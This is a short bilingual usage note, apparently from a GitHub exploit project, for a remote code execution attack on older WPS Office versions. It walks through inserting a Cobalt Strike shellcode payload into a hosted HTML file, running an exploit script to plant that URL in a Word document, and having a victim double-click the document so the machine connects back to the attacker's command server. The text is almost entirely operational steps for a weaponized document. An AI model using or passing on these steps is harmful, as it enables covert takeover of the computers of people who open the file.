#看看这位师傅的,他写的好 ba0gu0/wps-rce
WPS Office 2023个人版<11.1.0.15120; WPS Office 2019企业版<11.8.2.12085
python replace_shellcode.py shellcode_32_raw.bin我这里使用的是CS中32位的payload, 使用
replace_shellcode.py, 将1.html中的shellcode进行替换, 然后将1.html上传到你的托管地址, 例如: http://127.0.0.1/1.htmlpython exp.py poc.docx http://127.0.0.1/1.html替换
poc.docx中的URL, 也就是你的托管地址- 双击文档即可上线CS
WPS Office 2023 Personal Edition <11.1.0.15120; WPS Office 2019 Enterprise Edition <11.8.2.12085
python replace_shellcode.py shellcode_32_raw.binHere, I am using a 32-bit payload from CS. Use
replace_shellcode.pyto replace the shellcode in1.html, then upload1.htmlto your hosting address, for example: http://127.0.0.1/1.htmlpython exp.py poc.docx http://127.0.0.1/1.htmlReplace the URL in
poc.docx, which is your hosting address- Double-click the document to connect to CS